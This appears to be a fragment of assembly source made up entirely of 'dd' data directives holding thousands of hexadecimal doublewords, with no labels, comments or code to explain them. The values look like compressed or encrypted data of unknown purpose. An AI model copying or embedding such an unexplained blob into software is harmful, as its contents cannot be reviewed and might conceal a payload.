dd 79D6F0C9h, 98808227h, 18F3F86h, 524368C0h, 793E6EABh
dd 0DA9000AFh, 0B07B94D0h, 2D1EFC8Fh, 80FBEA7Eh, 0F815C027h
dd 796F760Dh, 0A20B013Fh, 734F19D7h, 49F05013h, 0B30047BFh
dd 83FFF68Ah, 0E8CBBBEh, 203279F7h, 0F345AD60h, 0A0C13D76h
dd 0B6D61EC7h, 6E20C457h, 480F042Eh, 2BC0244Ah, 50E8F40Bh
dd 79AFBE00h, 0FABD2048h, 50C4A611h, 3E0DDB2Ah, 5C0279CAh
dd 0EF4F89AFh, 0AB13C494h, 3D0085E4h, 0D28FBF7Fh, 56960135h
dd 3CE98B17h, 3D3C6051h, 0FE9BF4A8h, 0C8418C0Ch, 1F8A1949h
dd 80975D2Ch, 7D0A9024h, 0CE0E48F3h, 4912F932h, 1E09DDh
dd 0B64C2184h, 86F70058h
dd 9CED4193h, 3D000C9Eh, 441D1E8Fh, 9753E16h, 98C06D04h
dd 570AC494h, 3C3EA7B9h, 6CDD003Ah, 2C25E0BAh, 0CE060FC6h
dd 0CB20660Dh, 0D55FCD21h, 0BA03F73Eh, 5939BBA3h, 5420424Ch
dd 5E011684h, 0D7E66014h, 6CC16433h, 468DD8h, 70D44CACh
dd 7479CF42h, 147C4D24h, 0E2BB1C06h, 28CC8151h, 0DE21ECh
dd 7AA44D69h, 0CDC5D2E0h, 62C04302h, 0C2869C4Bh, 0F1F89874h
dd 0BBC1C0A7h, 0C2EA8E17h, 329EFC00h, 0D31067CFh, 0C98C9279h
dd 0B4A00D70h, 0F2C5F4DCh, 0E416517h, 0DF028802h, 15F4804Dh
dd 0ED5B77h, 0E7CB4CA7h, 4351C97Fh, 2EDD6F16h, 0AE868707h
dd 241886Ch, 923F0FC3h, 0F46850D9h, 0CCB273C7h, 2557FA00h
dd 0EE029A85h, 94C9043h, 336CC968h, 45279CAFh, 0B51120B6h
dd 2534BB01h, 1CDCA97Dh, 980F6052h, 8506DA66h, 1032C12Ch
dd 0F3DD8780h, 279A50Dh, 7C56C03Bh, 81FD4525h, 7EA1EB65h
dd 342E1080h, 0FE3507ADh, 0E9D9C51Fh, 474ECEC0h, 0E0C262D6h
dd 0C33B007Dh, 0E5BA90E0h, 0DA0082CAh, 24AF54CDh, 9DCC45h
dd 7BAE28C2h, 95BCC767h, 7C7FBD00h, 0E0D5F166h, 76580F61h
dd 980FEB80h, 13787BECh, 749F5C00h, 4839C9B2h, 0E560093h
dd 0A3C53FDBh, 0C200339Ah, 61A75241h, 3BDF9F55h, 5781D658h
dd 0F23DCA7Ch, 3C6F0F6h, 754950Ch, 0C148D3h, 0C3D4E8D1h
dd 0BEF93C6Ah, 687A4406h, 20ACB3h, 6BD7D12Dh, 0D23FDA5h
dd 3630FE70h, 70B1F8D0h, 2F6503B3h, 28F89F52h, 87BA1903h
dd 88A6983Dh, 104F002h, 38B67FC8h, 4A1C9F1Fh, 8F400018h
dd 0FDDB0954h, 0D30C14B8h, 0FEA04458h, 0D5098B6Ch, 7D93193Bh
dd 7B988080h, 0E00C8766h, 3096D1D0h, 519500DBh, 0AB50A8BFh
dd 7D7D5F56h, 81ED1100h, 0E62B32F0h, 92DF00BCh, 6C0A1DFCh
dd 6116E20Dh, 0FF573Eh, 95274178h, 530EB52Eh, 8079C937h
dd 8109F3ACh, 351800DEh, 0B411DA58h, 0F2004291h, 0C8D6A38Eh
dd 0C330E5h, 8946B76Fh, 8C87AD41h, 0EFB85000h, 0A6384958h
dd 5C9000F1h, 6BE6FF3Dh, 4F00F279h, 2B8CBF50h, 7C701A72h
dd 8FECC8h, 0A0EC306Ch, 41D1EB56h, 0B454C12h, 5388D300h
dd 0C7905FC9h, 0C0ABD978h, 7C2266Dh, 0BFA94200h, 44B8438Dh
dd 1B3A1C2Eh, 57BDC024h, 6BF21963h, 0F6E30D0Eh, 56EE402Ah
dd 0B5B85h, 0E481C261h, 0E31553D5h, 0DEE54604h, 80C0D0CDh
dd 0F74C14h, 0FB74C9C4h, 7CAC7169h, 73B7D10Fh, 51A140E9h
dd 1DBAE156h, 1F0AA5E3h, 28CDDE08h, 0A0B27EBAh, 10FC98h
dd 41501EF1h, 0D95D2D1Ch, 0ADB93Fh, 0BC055C1Fh, 1DFBFC12h
dd 0C08DA0D4h, 66C8A4AFh, 0DF00E5B8h, 0D6A250C4h, 18B6AEE0h
dd 599B124Ch, 8100EF18h, 30273839h, 260D9EC9h, 271DA2h
dd 8CCAF5BFh, 0C700F257h, 2A9D8562h, 0A08175B5h, 14312ACh
dd 0CD1E304Ah, 3001F080h, 9200EF6Fh, 0C453412Eh, 4C038B27h
dd 3F28DACAh, 0AE6800A4h, 293972CCh, 7008EA7h, 0BA039188h
dd 14E297EFh, 0C441F960h, 0C5052Ch, 1DAD571Bh, 0CA1D2AEAh
dd 0C5001073h, 0B10978B6h, 0ABD600E6h, 768F8A5h, 323B3E85h
dd 5C63803Ah, 2BC75913h, 90FF0C88h, 8D183FDCh, 6892E360h
dd 0ECF111h, 5F58FB57h, 281BA3DCh, 21E01212h, 2D0D1C40h
dd 3FC4D8ACh, 30B9C299h, 0A91A2B02h, 0ECE08958h, 0B00875Dh
dd 0E5ED8F4Eh, 398D5140h, 6F837506h, 0F7338E03h, 4287F580h
dd 0E3579700h, 274F9460h, 91F600C8h, 0DC135AACh, 2200F711h
dd 3FB05828h, 28A18BCCh, 843AA4h, 8D30D392h, 0B8D159FCh
dd 58F65D00h, 425439A2h, 8FA5036h, 6DC00010h, 2A6C5E1Ah
dd 7E6B1E2h, 9F83491Fh, 52B73240h, 98617F41h, 0ADA3009Ch
dd 0CAAA8286h, 0D0008AFEh, 0EC487787h, 36831h, 76F5EF5h
dd 71218D06h, 0A3B0503h, 0C0B20BCDh, 7151F0C5h, 99140EEDh
dd 8B607EE1h, 0A45D63C1h, 12025Ch, 2FC4247Ch, 0DD2ECEh
dd 0DABF1623h, 636D4B29h, 94F06105h, 4420A401h, 1FF66499h
dd 4755D8F1h, 0A5F858A1h, 9DC500EBh, 0C16A7868h, 8F51C000h
dd 948A2813h, 47A40A82h, 6CCF715h, 0F06AE3F1h, 22BC6614h
dd 0FF2A0EE5h, 8618E78Fh, 3DEA9A71h, 18DD4160h, 31CCE606h
dd 250075BAh, 6FA485CBh, 533A1Ah, 4A894E5Ah, 9430B338h
dd 0D900A3FAh, 0CB8E4052h, 0E6681FEh, 0B811277Eh, 979F3740h
dd 5B000214h, 1CCDB50h, 1CB2C3AAh, 40DDBF05h, 1126402Ah
dd 8500B315h, 9B823639h, 20EE824h, 12815E46h, 86E08D79h
dd 970CC2DCh, 0F8652737h, 99CC03E2h, 2330BCA4h, 6A87ADBh
dd 0FA3BC0F6h, 2F619D4Ch, 6B1183C6h, 702201D0h, 0FB4807ABh
dd 548FE129h, 0D8E40094h, 0C7219510h, 4DF058h, 9E446C99h
dd 9CACDAh, 0C5B31AA5h, 62AAF3F9h, 0B80028E6h, 6F7764C9h
dd 0E45A83C0h, 0D40EC0D1h, 0ADF05F0Eh, 7876AE30h, 1E10121Eh
dd 92BFF82Fh, 71540028h, 83DD6539h, 7006E903h, 0C833E47Ch
dd 0CE7C098h, 0F7809F87h, 5F7F1031h, 0D4780800h, 91E680Bh
dd 0A4E6038Ah, 44154861h, 33952A8h, 0DD16EC0Fh, 490A8087h
dd 60C2A21Dh, 1C05496Ah, 0EDB84528h, 21CBDE04h, 188098BBh
dd 24AB59F7h, 5000541Eh, 95795A5Eh, 78CEE131h, 5021D1A0h
dd 0EEA408h, 49FA4661h, 7BC7E292h, 0C5A88901h, 0E528A6D0h
dd 0AEE7C4h, 277FDB3Ah, 8E64BAC7h, 8563D50Fh, 48B49401h
dd 0E26000EDh, 91F9C4DCh, 0E1463BFBh, 144D2B00h, 6FE93C84h
dd 7C6D1528h, 82AAD139h, 0C256710Dh, 0E239C040h, 1936007Ch
dd 28ADCD49h, 12028E05h, 0FB31384Dh, 48A84C85h, 0F680E0FFh
dd 3E557F8Dh, 0CC6D2807h, 0FC4A1253h, 1C85C4AAh, 1AD60A80h
dd 2C6E692h, 0D0243AF4h, 0F8A07567h, 1CAA0251h, 3841500h
dd 0E449735Dh, 2AA9F095h, 0F306C77h, 0B9ACED7Ch, 0C6406140h
dd 4E4880E6h, 43D7210h, 4811A888h, 0F5E594A0h, 0B014E43Ah
dd 18D13060h, 7920286Eh, 0C4F002ACh, 65ADA86Fh, 88E94540h
dd 0B466E119h, 0E42086B9h, 88304931h, 0CE929E0Ah, 3AC683A0h
dd 0ADB851D1h, 3B00659Ah, 89C35A80h, 0B8B00314h, 999C0041h
dd 0F3923351h, 0FF00AAF4h, 91AB43B9h, 301E3BD6h, 910DEA9h
dd 4CB89F49h, 0EC1FE200h, 60C166F0h, 0BC7900D3h, 0BD43E082h
dd 0B0F298Eh, 200AA226h, 5E9A9D23h, 0DFAF002Fh, 0ED8AB7A9h
dd 9EEA11C4h, 0A7B24F00h, 231F4DDBh, 0E7E30018h, 164A587Fh
dd 100C007h, 0F3960D09h, 1418EBCh, 6BAAAC2Fh, 8738A115h
dd 0EA80FD89h, 9EB935A0h, 38300B2h, 0B3D9EDB4h, 0E5030F1Bh
dd 1D1FEC52h, 0E819E37Ah, 1866D7B7h, 10B3D631h, 271875E0h
dd 7150FDA7h, 7FB83C6Eh, 0FB56A2Ch, 0B60D0B9h, 593427A2h
dd 0ED0AC900h, 87E4B060h, 793F647h, 2081A62h, 4D099043h
dd 0BE0044B4h, 13EC8B23h, 66896CFh, 0EE0A5A94h, 0BF00213Fh
dd 0FBC69B21h, 7C7962Ah, 0D8BD4C2Dh, 3E88200Eh, 772E2ED6h
dd 62006954h, 5CFA37ECh, 3AFB0023h, 2B0D8348h, 78003F1Fh
dd 30602D8h, 0E1C67Fh, 0E7338584h, 465D80B1h, 0A60F7906h
dd 300C2Ah, 594A5622h, 5C06AB6Bh, 0DF725300h, 264B901Eh
dd 0B2DE0F58h, 0A880C877h, 3766E7D3h, 52062EEEh, 3B1BA669h
dd 0F62D0069h, 77E1C4E3h, 7C482ABBh, 924100B4h, 714CB95Ch
dd 0B14D00F6h, 0C4E0233Bh, 9289319h, 0DB0A848Bh, 0B0A26A75h
dd 5D68Bh, 0AC25962Fh, 4BD9C0B8h, 0ADD8BF65h, 2900C672h
dd 6CC206E3h, 7E40FA4h
dd 80EA4550h, 4CEE0276h, 0A543A880h, 0A100ABFEh, 5CD4D861h
dd 7993BC6Bh, 628C01CAh, 47814272h, 8331B9C2h, 0FB2C1756h
dd 18CA98F6h, 6C571C2Fh, 8BA9473Bh, 43B16CE5h, 805D902Ah
dd 0B993D203h, 0F0D1Fh, 60DEBFA8h, 0A0CE33EDh, 83582A39h
dd 0D7DB6C9Fh, 4EE6E005h, 50590720h, 80BAD570h, 85E3ECA8h
dd 0BDA0CF02h, 98C80644h, 0EC633D0h, 39B16677h, 0D4361B40h
dd 2098BE5Bh, 0C70EA600h, 713E40BDh, 0A530C728h, 6E54A1A4h
dd 0E5196CAh, 0A4AD100Ah, 3A708181h, 18849D10h, 9706596Dh
dd 89AAC140h, 662981CDh, 6993171Eh, 0C05AD4h, 0F71CB68h
dd 0EBA277E2h, 1800948h, 0D9CE0C93h, 0B1812BA8h, 57FB4B2Ch
dd 445C20D0h, 0F0C97912h, 0FCB17840h, 0FC710D1h, 0A20C012h
dd 18DB45A1h, 7228D822h, 8904250Fh, 80A094E4h, 0CB2C4959h
dd 0AC2F4801h, 0C2B8D129h, 34907A81h, 0AB71630Bh, 0E9F6A00h
dd 38A81FD9h, 6F7000Fh, 51E7072Bh, 31C0E436h, 34A2CEA6h
dd 0F08848D5h, 0E56C04A0h, 85654400h, 76AD10EBh, 536200E7h
dd 4FC08EDh, 0B2014255h, 3EA32D01h, 905C65AEh, 16BA00D1h
dd 9F954103h, 0F90F3FDAh, 0A3AC99E5h, 732C587h, 7A5167C8h
dd 46A07F7Fh, 0A3CA9E4Dh, 0D052D400h, 61F6D8FFh, 273603F2h
dd 1E4DB9A0h, 0CA5DBEB0h, 0A0CA700h, 69DE28AFh, 7E98000Bh
dd 331468B6h, 0FB0051F8h, 907A2AB4h, 10EE485h, 5A79E998h
dd 0CBACA7FDh, 43E270C0h, 6781ED01h, 545B3E57h, 306CF720h
dd 0BB9E2A5Eh, 0C548F670h, 64EC0098h, 56D6CB4Fh, 7B4B0034h
dd 0ADFCC0B1h, 0D009C8Ch, 0BDD70898h, 64F020h, 77072863h
dd 4433AE6h, 49768A00h, 0DF966C42h, 0F2E500CCh, 342FAC7Fh
dd 0BF60721Fh, 19B6638h, 0BBB330CFh, 986DD510h, 33D41104h
dd 4BC063D3h, 373EADh, 0FB87C843h, 3A0A587Eh, 89F5030Bh
dd 6E288162h, 22DCF096h, 2DD0002Ah, 491CE272h, 0C43BFF9Dh
dd 0C6EB8164h, 9F48EFC3h, 6F7C9C0h, 3D766EDh, 0FB00485Fh
dd 98C2FE62h, 1C9CFA52h, 0C0D92C9Ah, 99D431B0h, 0E403508Bh
dd 0E943B294h, 1F5E909Fh, 82BD006Ah, 0E8BE6719h, 593EC7B9h
dd 6E00F9EAh, 0D82369DFh, 18E60B04h, 0A1BAC617h, 630078D1h
dd 0C2406636h, 720454Bh, 62EA23EDh, 2DFD5004h, 1D7C4CD3h
dd 73656C00h, 39BD2A24h, 0EC0D02C7h, 4A3DCF6Dh, 0D0CBC057h
dd 80230071h, 28A15EE5h, 30C154CDh, 2930E207h, 3EC12081h
dd 0D51C19E3h, 2C24E0D8h, 0B6D7F300h, 8E151031h, 9B43276Ah
dd 0BD96B880h, 0C32ED837h, 3000E9A2h, 4F3D26CFh, 7118C0F4h
dd 4515EB84h, 7B3F99F2h, 0F58D8768h, 0C5B03C0Ch, 56BD82h
dd 63759FF2h, 0C23E9806h, 2601DDB8h, 78C15416h, 8FCA1E6Bh
dd 48C39C80h, 19CE22AAh, 3188FA18h, 0D580F030h, 61F977E4h
dd 0C30BDF0h, 0C9F91AD3h, 0D08C002Fh, 3EAEDBBCh, 0AB038635h
dd 0B77C54F7h, 9A381827h, 0E12D509Dh, 0C79F210Ah, 0D000906Ah
dd 145685EDh, 0CC930E18h, 8A0B477Eh, 80D43B08h, 21551C2Bh
dd 6A00F280h, 0B92835A3h, 9CB08Eh, 0B47F74D7h, 73662781h
dd 8991C260h, 1276EE53h, 48204Bh, 0B267C557h, 0C709B56h
dd 0D1F03B00h, 0D69A96B8h, 9DC607A2h, 32A2318h, 7800C2E3h
dd 11058E71h, 48A8EEh, 0CC7FA408h, 0E30F4102h, 2E4B9600h
dd 79229CE4h, 8D21013Ah, 507D043h, 4A72D042h, 5AD320C0h
dd 0DA2F79h, 1395D72Ch, 921F3B53h, 0CC826B00h, 0CA61BABFh
dd 18DDF278h, 1860BB48h, 0E001D280h, 3BAE6C44h, 7083ACB0h
dd 7659876Eh, 60007CEBh, 0E188DEC4h, 716FAC4Ch, 8D46362h
dd 200E87F8h, 0C0882617h, 56E78496h, 3068E4A0h, 6B40E42Dh
dd 0FD1D0C37h, 178331FEh, 396D3CCFh, 0D01F0170h, 927346B4h
dd 41E312Ch, 3959B1E1h, 60E40E11h, 75E30151h, 0DDBB4FB4h
dd 0FB54D0B3h, 3AED20C0h, 3A2A55Fh, 839D7FE7h, 0E1A0D811h
dd 92037287h, 6DA0EFFEh, 6F7CB825h, 0ECB0A982h, 793D18C6h
dd 0FC211526h, 9D99B021h, 79F0CA21h, 6B690070h, 3A278324h
dd 4D54E31Ah, 0D3005CC0h, 60DB430Ch, 1334535h, 5F22B1CBh
dd 0D4F97861h, 0C16198D0h, 89EE12E8h, 9DB9399Eh, 46B2C1E6h
dd 0E718753Eh, 0FF16C384h, 0D8332CD1h, 8A1D7FF1h, 4070DCD8h
dd 5088EF35h, 0F25643Ah, 8091C712h, 8186CD00h, 0D239F5A7h
dd 85A500C9h, 984060A2h, 0AFA10066h, 0CD53BC46h, 9356DD13h
dd 0FACA0204h, 0BDCBE0D1h, 0C030A30Ch, 17189F2Bh, 982A6C00h
dd 0EE61E56Dh, 9E672894h, 0C855082h, 8EC4295h, 952B8F1Eh
dd 0C62A1859h, 2131430Ch, 0C4659083h, 1D22921Ah, 10CF619h
dd 0BBB12186h, 42EFF908h, 0F513BF74h, 0BD3F1844h, 0CA45122h
dd 1805322Ah, 4484BC85h, 0AE147249h, 769CDA21h, 55F37101h
dd 0A56E22D9h, 3E41A848h, 2B00255Bh, 0A2D817CFh, 0B8A80E20h
dd 0B6002A46h, 97540B3Dh, 3752CAD1h, 0C338CCECh, 0CED3514Dh
dd 0D0F4F583h, 0CD69D001h, 98EFBF1Ch, 9CD4F040h, 7D1C6A4h
dd 2BF51E12h, 0FE363B2h, 1C7320D8h, 130B08C0h, 7C4CD99h
dd 3B57F91Dh, 4071E1A9h, 0FE4DF985h, 16ED4C98h, 0D4D9CE60h
dd 0FB4EA4h, 1589923Ah, 98205414h, 0CDED738h, 0C89DD24Dh
dd 17D1007Ch, 4BD6C6D0h, 66E88291h, 95344200h, 0CA98BC6Eh
dd 0DD370E20h, 0D39F176Fh, 0FE00FF9Dh, 9284DB45h, 0F989764Ah
dd 5CF6AAD0h, 7000E460h, 0A1EC3ECCh, 2701060Fh, 0F4E3E507h
dd 1CD4025Dh, 1F7A705Eh, 40269204h, 968D093Fh, 0C70059A2h
dd 1591DF41h, 4849E9CFh, 0D000FD7Fh, 68CDA40h, 1D283DE5h
dd 0E102145Eh, 0EEE69545h, 0E3A9032Ch, 0CFFCC01h, 53FA1AFh
dd 5312B0D0h, 0F5245C13h, 0C4810E99h, 0B99B85A0h, 8238EAACh
dd 394D8083h, 621B0FC1h, 3C067A19h, 0FE80DA8Dh, 0C75F466Bh
dd 0E6309F9Dh, 4DFF8991h, 0B0830020h, 0DE8CDBC0h, 0F57B59E2h
dd 92403B66h, 0B50B0729h, 202C951Dh, 38A98CD7h, 0F0E1B1DDh
dd 0B846D655h, 714CAAA7h, 9B07AADh, 5DD7003Ah, 0BF6ED14Fh
dd 62285693h, 4701B442h, 36753996h, 0F88CC2B4h, 0E410954h
dd 3FE8B7Ch, 0CCCDCF2Ah, 0DA874700h, 4238CEBh, 0B620EECh
dd 0C300B0BEh, 9718C2DFh, 0F0D0BF07h, 0B910C794h, 0D10840h
dd 5DF7CBADh, 398CE527h, 0DFC15F1Dh, 7994F64Ch, 0F8F30041h
dd 59042B8Dh, 8101BB78h, 736A65ADh, 0B083A29Fh, 644B511h
dd 8C40E889h, 41658A90h, 0CE0F0386h, 4F4B8F77h, 8ACA310Eh
dd 61CB6068h, 52D14EE0h, 80BDAC7Fh, 0E4A64298h, 24C1C6C0h
dd 70940B5Fh, 450F05F7h, 1C840C9h, 8A52834Ch, 624495DAh
dd 0E4A17BC9h, 24751DB4h, 112D540h, 34701186h, 38AF8932h
dd 6580FFD8h, 399DB9F3h, 0AD094EB6h, 1D059BA1h, 60DCABE8h
dd 0F832E093h, 2E773900h, 0F66A5F4Dh, 99884C87h, 0BE3C8447h
dd 0A462212h, 0A06520h, 87671830h, 0A201B506h, 9A9C0E8Dh
dd 0E9DC3982h, 486D3D89h, 62321001h, 99D10409h, 3F28A130h
dd 5C78080h, 0E13D84AAh, 0CCA37A00h, 7DADC3E2h, 50D0A102h
dd 0EB3ED20Ch, 4C93A89h, 0AFA0C082h, 0AFF1648Ah, 70836B4h
dd 9F189379h, 8D104EC0h, 0D6C20027h, 4801B938h, 5E8885Ch
dd 0CBA8A24h, 18D8B357h, 5A1102B4h, 1E0444DCh, 82F5BC78h
dd 0ADACC460h, 2A26D885h, 0BAC8DBFCh, 0B9450260h, 0CC50F498h
dd 0A4809E0Ah, 5E7880F6h, 286F82B4h, 8933162h, 308AE5C4h
dd 0B4D56E90h, 8136741Bh
dd 612CC221h, 8317A97Ch, 62C27269h, 30CE0886h, 5188DDFAh
dd 0C4485172h, 7519118Fh, 44317F0Ch, 3679A860h, 0F045E6DFh
dd 104D0B39h, 2000A2ADh, 0C650F454h, 8940BB48h, 0E73002C2h
dd 845868FCh, 39663A46h, 5A0FE287h, 38D82CACh, 0C010480Dh
dd 9C0248AFh, 63F8823Ah, 0B48468F5h, 0DA41C0FEh, 55CBD52h
dd 0F74CE701h, 80EB5A12h, 880048A8h, 0C0619AACh, 4DA83EB9h
dd 306FE83h, 0A90150F7h, 2D49C4A0h, 24E41006h, 3A0CB489h
dd 93BCE9DCh, 45FD8690h, 0F60090F2h, 0A609A539h, 60AC49CCh
dd 0CE84E065h, 2B133EC0h, 5C419A4Dh, 7737E9C7h, 0CAC28050h
dd 4318A044h, 0E4831E58h, 0CC3DC01Eh, 1C91540h, 85AFAA13h
dd 0B4C0341Ch, 7EA6F044h, 41792F21h, 30304AF6h, 5814D0ECh
dd 386FBEC9h, 3378ADC8h, 0E57731E1h, 91E80C69h, 81104138h
dd 0E697F0B0h, 1F512012h, 31CD2C20h, 0C1089301h, 41C4BA9h
dd 22CE4896h, 30364C45h, 0FA377B10h, 0C8783303h, 1DFD6C3Dh
dd 2BAC8150h, 0D58A4048h, 1640E998h, 189D568Ch, 653D7C7h
dd 0AC206928h, 0FA14594h, 19150360h, 2B77CD23h, 310CC38h
dd 259EF5F9h, 98EC5910h, 3BDFDC46h, 31235E18h, 9989EE0Ch
dd 38DCBCD2h, 27B1A8E9h, 4F22C39h, 0C214E810h, 104FC332h
dd 8CAF974Ch, 161AD282h, 0F16C2242h, 840588BEh, 1D513590h
dd 0F13EBC40h, 792DE1D3h, 0ADA12BEEh, 0FA6E6064h, 0A60BC80h
dd 0EE92AC40h, 0A9C22BA1h, 0BB8F6054h, 0B496B6Ah, 3CA82490h
dd 3DB31854h, 7DECA90Ah, 22A12307h, 6242E773h, 0CD4BEAAh
dd 64AD1B23h, 5B7A0C71h, 50A2A10Ch, 0C479B0ECh, 1F576208h
dd 0B07CA615h, 84E9B3ECh, 281A2C02h, 3EFB02A1h, 0C7DE220Ch
dd 614CC929h, 5428879h, 47088C24h, 0C5C5802Dh, 7CF48210h
dd 9011558Ch, 6C01F6C7h, 22A2FDE2h, 20886D0h, 6F50272Bh
dd 0BAE60823h, 41E9A826h, 0BA53C2A0h, 11A33380h, 160910F5h
dd 24AF1025h, 0E3B0FC2Bh, 99B15D94h, 88C001Eh, 62A218FEh
dd 0C42270FBh, 7C4F03E9h, 0D10241E0h, 0E8619B14h, 1B1FD978h
dd 81AA898h, 184069A2h, 2098F3B6h, 9BC208D0h, 42018489h
dd 11219BEAh, 283DC338h, 31CC2849h, 2E84462h, 82108C85h
dd 663A0997h, 0F0DF1829h, 9CA4FE8h, 42099846h, 8208268Bh
dd 0F1974109h, 0E6E2019Ah, 0ED37118Ch, 0D96DC268h, 15F00851h
dd 7B28C6DAh, 7F7418E7h, 46072981h, 8237284Fh, 13441880h
dd 2210704Ch, 8B396466h, 0B5E23528h, 8898659h, 0D8516164h
dd 0D02589Fh, 1DFF6E37h, 8205AC02h, 2D182D0h, 90FC642h
dd 0D8AC24F0h, 4A04649Fh, 47C5F3F8h, 0F80ABFCCh, 22088318h
dd 5B428084h, 571968DEh, 21928E71h, 1104C30h, 7D484208h
dd 1E497D04h, 106D3054h, 81268C22h, 65C24B3h, 27FFD0A9h
dd 434C08Ch, 811477D8h, 4B105CECh, 1574E922h, 2815220Ch
dd 0E3C697A0h, 2B2C1744h, 0C1B8126Bh, 0E5B66781h, 954C0113h
dd 0A8B0F8B8h, 31E162C8h, 0FF52E0C5h, 1AC88806h, 18503210h
dd 0DC4BA020h, 0C25081DCh, 55A4245Dh, 3F283892h, 4E3184EFh
dd 0ED3A40F5h, 40593092h, 0CAE0651Ch, 0C93E541h, 2491D8E0h
dd 6C00EBA5h, 0CCA0011Bh, 0B0C9FB60h, 0C043EFFh, 61B76939h
dd 4CF18C41h, 82263B10h, 0AC415093h, 0E8422B03h, 0A2E48230h
dd 72F01EFEh, 95255A01h, 529C38A0h, 3FD099D4h, 0E680D863h
dd 0C645F304h, 8C5F055h, 0F8C0DF19h, 1C617BE3h, 545079E4h
dd 87A2448h, 57D401AFh, 4631F018h, 0E98187E4h, 586737D1h
dd 0C8BA1001h, 1E62E646h, 1EE98638h, 8FCA2008h, 0B1308084h
dd 8D66460Fh, 0DC2608C0h, 52C62DE0h, 0E6C220E2h, 788F965Dh
dd 464165C3h, 0D01D6489h, 5782A06h, 4F8C600h, 0AD5E6645h
dd 8064A72Eh, 6553AE5Bh, 991B9603h, 8A88B270h, 0DA9808EAh
dd 1FF75C80h, 9918980Dh, 0C6388F90h, 381E82E8h, 5B6DBE1Bh
dd 0B03801F6h, 8646EC8Ah, 0AB08BAD8h, 9FE3A013h, 0E51998Bh
dd 12D04085h, 5C9878DFh, 806B4C18h, 62EDF0E1h, 0EB2070E8h
dd 0B8EA9886h, 0E0A1E6F1h, 0E345EF71h, 0A62EBBF0h, 12B95C3Ah
dd 207C1E66h, 30AF1569h, 101B8862h, 8D8B68ACh, 9B66D815h
dd 68CB31F4h, 4C2065C6h, 609461E6h, 0D3B83806h, 3C4F1FC2h
dd 0FDC54F83h, 93D14877h, 0C098E02Bh, 0B0E2367Eh, 3EF1B8ABh
dd 24510123h, 98405902h, 0F6649626h, 409FF290h, 93911C05h
dd 70C0469Fh, 26705037h, 80E4E940h, 2093FFE6h, 32845EE0h
dd 0A36184C2h, 0C5B2A648h, 209BA09Dh, 447CDBFEh, 6089A62h
dd 0D96C235Bh, 0C5F2C6E1h, 0EE2EF045h, 0F064E0E9h, 6311C081h
dd 388420FDh, 5FA8CC66h, 7C9EF810h, 7880A3E6h, 0E8CE4108h
dd 50CCF3E0h, 48C50925h, 0E13008F4h, 0BA6DC608h, 8F628CCh
dd 6FD4046h, 18C6B9FCh, 7430B792h, 0A581CC51h, 9C8B228h
dd 4D061CD7h, 47922EAFh, 818B34D0h, 135C604h, 60152A6h
dd 467024B5h, 0ACFB09CAh, 0E149B820h, 163AE014h, 8164002Ch
dd 0B4A33974h, 921D60BAh, 0F200ED0Eh, 126FE36Bh, 65240CC8h
dd 52089472h, 4032B940h, 283112D6h, 18D7181Ah, 591108Fh
dd 0FFA6F283h, 0F927381Fh, 8E9D20Ch, 0FD563E92h, 35AAB207h
dd 47EBC448h, 92813745h, 12F02ADCh, 85C28368h, 888500Dh
dd 5208A2D2h, 0FBB208C2h, 2B047206h, 0B3D04518h, 3B1040DEh
dd 29A01208h, 0D2A940h, 0F0817661h, 444E99F5h, 947FA500h
dd 189C9323h, 8C80501Ah, 0C6EDB0C3h, 817D5C0h, 5B492465h
dd 0D7C4202Dh, 0E32E4480h, 61C58503h, 1FCD392h, 60EC2AF8h
dd 43377E72h, 50111F88h, 22A5C52h, 2CF65380h, 0BF744502h
dd 3017ED4h, 0D443E5B1h, 9240211Eh, 883A4823h, 0BC9BA3E8h
dd 38EEBE19h, 120886D4h, 5190F00Bh, 2FD0FCC0h, 70A8CC32h
dd 35329208h, 0BE751016h, 90C3089Ch, 4380DCD4h, 726FE29Fh
dd 0F208CFEFh, 21F09C75h, 0B4778D6Ah, 0AF02740Eh, 1E2E81F5h
dd 9ED0491Bh, 1F43789Fh, 33E935Eh, 116D337Eh, 4ABA1AE0h
dd 0DDB43C00h, 0C3639017h, 0AC6F3E5Dh, 3954AA00h, 0D5CF02B8h
dd 9E381306h, 32583AEEh, 29083B68h, 660424B6h, 3A97BD03h
dd 3030EF06h, 0BD81DE46h, 10A47B89h, 0AD74140Fh, 0F52F0330h
dd 0A9777CBDh, 0C1304256h, 0F840A77Fh, 6CE34F10h, 201E1110h
dd 0A28B49F0h, 0F0401220h, 0D584A2C1h, 462A6487h, 0DE010872h
dd 0FE293111h, 0E3D333CBh, 3E100F1Fh, 0BEC3797Dh, 68197FE5h
dd 9A07ACDh, 195ED888h, 9CFCE679h, 0C8F886Ch, 7E38121Fh
dd 0BE05747Eh, 1E2930D7h, 8D4F6D87h, 0B5E0780Eh, 45C38046h
dd 1FCB18C6h, 76110230h, 5337DE2Eh, 4971DC83h, 4B09081Fh
dd 2274FE09h, 414DC610h, 1421B318h, 13D3892h, 44D3B818h
dd 495E8301h, 0B04DDCDFh, 72240B03h, 3E800060h, 1768C254h
dd 0B6646371h, 38684130h, 57446608h, 0E7430065h, 0B7612C88h
dd 488138C4h, 8F18F33Ch, 0A3692D1Fh, 312CF0CBh, 4108DDC1h
dd 859F11C0h, 80EDE1F0h, 7B7CBD61h, 0B4079D90h, 9178A12Dh
dd 97B701C1h, 9FBC40BDh, 847C3E7Ch, 8183210Ch, 8DD5830h
dd 0A5FE51C0h, 0E8DCB243h, 0E12941E3h, 3E1DBC1h, 9E630194h
dd 5A301h, 0C3E47623h, 9D07DA20h, 0C15370C0h, 9E78E4E3h
dd 562E6500h, 0C5440698h, 8FAF06D4h, 31E5C939h, 0E06D6321h
dd 0A1A34894h, 0ACC59040h, 0E1F90810h, 258C3F38h, 3BDDA1C7h
dd 44539B10h, 0A7DFB981h
dd 5398C9Ch, 4738C142h, 0C09B8108h, 0C6170810h, 0C3343866h
dd 1C3C70E1h, 0A47E00CDh, 0C938E38Ch, 30CAE045h, 34707CA3h
dd 0A055FC87h, 1847FD08h, 40D20A9Bh, 0C00DE4C5h, 0B031C3A4h
dd 1E03240Fh, 0D7A3238Bh, 72253801h, 3383A4C1h, 48906C04h
dd 2125C618h, 40790571h, 0F0AFFBC1h, 94567699h, 270171BEh
dd 9023A49Bh, 0E00899AEh, 0FC5FFBB9h, 0F3F6B502h, 98A6D9C2h
dd 0C3184828h, 0FC08ADD5h, 37CAD07h, 0D7226A70h, 0C1A54131h
dd 4004FD03h, 9CFC3C7Ch, 11C87183h, 0F943E30Ch, 0DC946DC5h
